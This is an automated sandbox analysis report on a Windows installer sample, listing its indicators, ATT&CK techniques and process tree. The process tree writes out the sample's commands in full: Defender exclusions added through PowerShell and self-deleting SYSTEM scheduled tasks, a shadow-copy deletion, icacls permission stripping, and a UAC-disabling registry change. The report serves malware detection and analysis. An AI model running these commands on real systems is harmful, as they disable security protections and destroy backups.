77bf9013933525926b11b097deb58f150ca68c55b931c08dcd27ab8ee431618b

Analysis

max time kernel
151s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 19:29

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General

Target
install.2.0.02.exe
Size 38.9MB
Sample261024-x7hdgsff47
SHA256 77bf9013933525926b11b097deb58f150ca68c55b931c08dcd27ab8ee431618b
MD5 6b533442fdaf08ac4991ed8222b55bdf
SHA1 4601c5304d5d654d43edf90a2ccde2702376a8d7
SHA512 60e562286420d5c8260e0d202cc7bac11cb29d1e16324a9e864cdd64ec8d26ed55eced41d68dcbf9309ae581a152fe11e18c3276a4197ac4af6c40e0e64d813b
SSDEEP 49152:qPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXb:q6chqTShW/hNbSiQfMJPLmrUlsb
TLSH
T15B97D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	k8surB.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\4FZkqg = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
976	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	k8surB.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	k8surB.exe

Executes dropped EXE 7 IoCs

pid	Process
1448	efmsq8.exe
3400	efmsq8.exe
5012	k8surB.exe
2700	k8surB.exe
5884	pq1O0sd3.exe
5200	k8surB.exe
1720	pq1O0sd3.exe

Loads dropped DLL 7 IoCs

pid	Process
1448	efmsq8.exe
3400	efmsq8.exe
5012	k8surB.exe
2700	k8surB.exe
5884	pq1O0sd3.exe
5200	k8surB.exe
1720	pq1O0sd3.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5768	icacls.exe
5688	icacls.exe
2704	icacls.exe
5864	icacls.exe
5004	icacls.exe
616	icacls.exe
2260	icacls.exe
792	icacls.exe
4196	icacls.exe
1256	icacls.exe
4804	icacls.exe
3844	icacls.exe
4808	icacls.exe
4072	icacls.exe
5672	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\4FZkqg\\efmsq8.exe\""	efmsq8.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\EinwCJ\\k8surB.exe\""	k8surB.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1852	cmd.exe
4192	cmd.exe
5524	cmd.exe
3408	cmd.exe
3740	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	efmsq8.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\EinwCJ\k8surB.exe	efmsq8.exe
File opened for modification	C:\Program Files (x86)\EinwCJ\XPSPLOG.dll	efmsq8.exe
File opened for modification	C:\Program Files (x86)\EinwCJ\thumbs.db	efmsq8.exe
File created	C:\Program Files (x86)\0JOi3P22\image.png	k8surB.exe
File opened for modification	C:\Program Files (x86)\0JOi3P22\image.png	k8surB.exe
File created	C:\Program Files (x86)\0JOi3P22\pq1O0sd3.exe	k8surB.exe
File opened for modification	C:\Program Files (x86)\0JOi3P22\XPSPLOG.dll	k8surB.exe
File opened for modification	C:\Program Files (x86)\EinwCJ\image.png	efmsq8.exe
File opened for modification	C:\Program Files (x86)\0JOi3P22\thumbs.db	k8surB.exe
File created	C:\Program Files (x86)\0JOi3P22\XPSPLOG.dll	k8surB.exe
File opened for modification	C:\Program Files (x86)\EinwCJ	efmsq8.exe
File created	C:\Program Files (x86)\EinwCJ\thumbs.db	efmsq8.exe
File created	C:\Program Files (x86)\0JOi3P22\thumbs.db	k8surB.exe
File created	C:\Program Files (x86)\EinwCJ\k8surB.exe	efmsq8.exe
File created	C:\Program Files (x86)\EinwCJ\XPSPLOG.dll	efmsq8.exe
File opened for modification	C:\Program Files (x86)\0JOi3P22	k8surB.exe
File opened for modification	C:\Program Files (x86)\0JOi3P22\pq1O0sd3.exe	k8surB.exe
File created	C:\Program Files (x86)\EinwCJ\image.png	efmsq8.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	k8surB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	k8surB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	k8surB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	k8surB.exe

Executes a command shell one-liner 1 TTPs 22 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4856	cmd.exe
3400	cmd.exe
2584	cmd.exe
1272	cmd.exe
1392	cmd.exe
4984	cmd.exe
5504	cmd.exe
4476	cmd.exe
708	cmd.exe
4928	cmd.exe
1744	cmd.exe
2024	cmd.exe
2644	cmd.exe
2920	cmd.exe
5248	cmd.exe
3692	cmd.exe
1840	cmd.exe
420	cmd.exe
3640	cmd.exe
5128	cmd.exe
4904	cmd.exe
1696	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	k8surB.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	k8surB.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	efmsq8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	efmsq8.exe

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pq1O0sd3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k8surB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pq1O0sd3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k8surB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k8surB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	k8surB.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	k8surB.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	k8surB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	k8surB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	k8surB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	k8surB.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5504	schtasks.exe
1840	schtasks.exe
4388	schtasks.exe
6016	schtasks.exe
4520	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
5336	install.2.0.02.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe
1448	efmsq8.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	976	powershell.exe
Token: SeIncreaseQuotaPrivilege	976	powershell.exe
Token: SeSecurityPrivilege	976	powershell.exe
Token: SeTakeOwnershipPrivilege	976	powershell.exe
Token: SeLoadDriverPrivilege	976	powershell.exe
Token: SeSystemProfilePrivilege	976	powershell.exe
Token: SeSystemtimePrivilege	976	powershell.exe
Token: SeProfSingleProcessPrivilege	976	powershell.exe
Token: SeIncBasePriorityPrivilege	976	powershell.exe
Token: SeCreatePagefilePrivilege	976	powershell.exe
Token: SeBackupPrivilege	976	powershell.exe
Token: SeRestorePrivilege	976	powershell.exe
Token: SeShutdownPrivilege	976	powershell.exe
Token: SeDebugPrivilege	976	powershell.exe
Token: SeSystemEnvironmentPrivilege	976	powershell.exe
Token: SeRemoteShutdownPrivilege	976	powershell.exe
Token: SeUndockPrivilege	976	powershell.exe
Token: SeManageVolumePrivilege	976	powershell.exe
Token: 33	976	powershell.exe
Token: 34	976	powershell.exe
Token: 35	976	powershell.exe
Token: 36	976	powershell.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 976	1448	efmsq8.exe	90
PID 1448 wrote to memory of 5524	1448	efmsq8.exe	93
PID 5524 wrote to memory of 5504	5524	cmd.exe	96
PID 1448 wrote to memory of 3408	1448	efmsq8.exe	97
PID 5524 wrote to memory of 2300	5524	cmd.exe	99
PID 1448 wrote to memory of 3740	1448	efmsq8.exe	102
PID 5524 wrote to memory of 4132	5524	cmd.exe	104
PID 3408 wrote to memory of 1840	3408	cmd.exe	105
PID 3740 wrote to memory of 4388	3740	cmd.exe	107
PID 3408 wrote to memory of 3204	3408	cmd.exe	108
PID 3740 wrote to memory of 2660	3740	cmd.exe	109
PID 1448 wrote to memory of 1852	1448	efmsq8.exe	111
PID 3740 wrote to memory of 4976	3740	cmd.exe	113
PID 3408 wrote to memory of 3684	3408	cmd.exe	114
PID 1852 wrote to memory of 6016	1852	cmd.exe	115
PID 1852 wrote to memory of 616	1852	cmd.exe	116
PID 1448 wrote to memory of 4192	1448	efmsq8.exe	121
PID 1852 wrote to memory of 204	1852	cmd.exe	123
PID 4192 wrote to memory of 4520	4192	cmd.exe	124
PID 4192 wrote to memory of 1384	4192	cmd.exe	125
PID 4192 wrote to memory of 716	4192	cmd.exe	127
PID 4476 wrote to memory of 5472	4476	cmd.exe	129
PID 1272 wrote to memory of 3872	1272	cmd.exe	131
PID 420 wrote to memory of 5592	420	cmd.exe	130
PID 1392 wrote to memory of 4312	1392	cmd.exe	132
PID 1448 wrote to memory of 5012	1448	efmsq8.exe	134
PID 5012 wrote to memory of 3640	5012	k8surB.exe	137
PID 5012 wrote to memory of 4928	5012	k8surB.exe	138
PID 5012 wrote to memory of 5128	5012	k8surB.exe	141
PID 5012 wrote to memory of 1744	5012	k8surB.exe	144
PID 4928 wrote to memory of 2704	4928	cmd.exe	146
PID 5012 wrote to memory of 2024	5012	k8surB.exe	147
PID 2024 wrote to memory of 5864	2024	cmd.exe	149
PID 5012 wrote to memory of 5504	5012	k8surB.exe	150
PID 5504 wrote to memory of 4196	5504	cmd.exe	152
PID 5012 wrote to memory of 2584	5012	k8surB.exe	153
PID 2584 wrote to memory of 5688	2584	cmd.exe	155
PID 5012 wrote to memory of 3400	5012	k8surB.exe	156
PID 3400 wrote to memory of 4804	3400	cmd.exe	158
PID 5012 wrote to memory of 4904	5012	k8surB.exe	159
PID 4904 wrote to memory of 3844	4904	cmd.exe	161
PID 5012 wrote to memory of 1840	5012	k8surB.exe	162
PID 1840 wrote to memory of 5768	1840	cmd.exe	164
PID 5012 wrote to memory of 708	5012	k8surB.exe	165
PID 708 wrote to memory of 1256	708	cmd.exe	167
PID 5012 wrote to memory of 4856	5012	k8surB.exe	168
PID 4856 wrote to memory of 5004	4856	cmd.exe	170
PID 5012 wrote to memory of 3692	5012	k8surB.exe	171
PID 3692 wrote to memory of 792	3692	cmd.exe	173
PID 5012 wrote to memory of 5248	5012	k8surB.exe	174
PID 5248 wrote to memory of 616	5248	cmd.exe	176
PID 5012 wrote to memory of 2920	5012	k8surB.exe	177
PID 2920 wrote to memory of 4808	2920	cmd.exe	179
PID 5012 wrote to memory of 1696	5012	k8surB.exe	180
PID 1696 wrote to memory of 2260	1696	cmd.exe	182
PID 5012 wrote to memory of 4984	5012	k8surB.exe	183
PID 4984 wrote to memory of 4072	4984	cmd.exe	185
PID 5012 wrote to memory of 2644	5012	k8surB.exe	186
PID 2644 wrote to memory of 5672	2644	cmd.exe	188

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	k8surB.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5336

C:\Users\Public\4FZkqg\efmsq8.exe
"C:\Users\Public\4FZkqg\efmsq8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4FZkqg\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5524
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4FZkqg\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2300
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3204
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4388
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2660
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6016
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:616
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4520
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1384
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:716
- C:\Program Files (x86)\EinwCJ\k8surB.exe
  "C:\Program Files (x86)\EinwCJ\k8surB.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5012
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3640
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2704
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5128
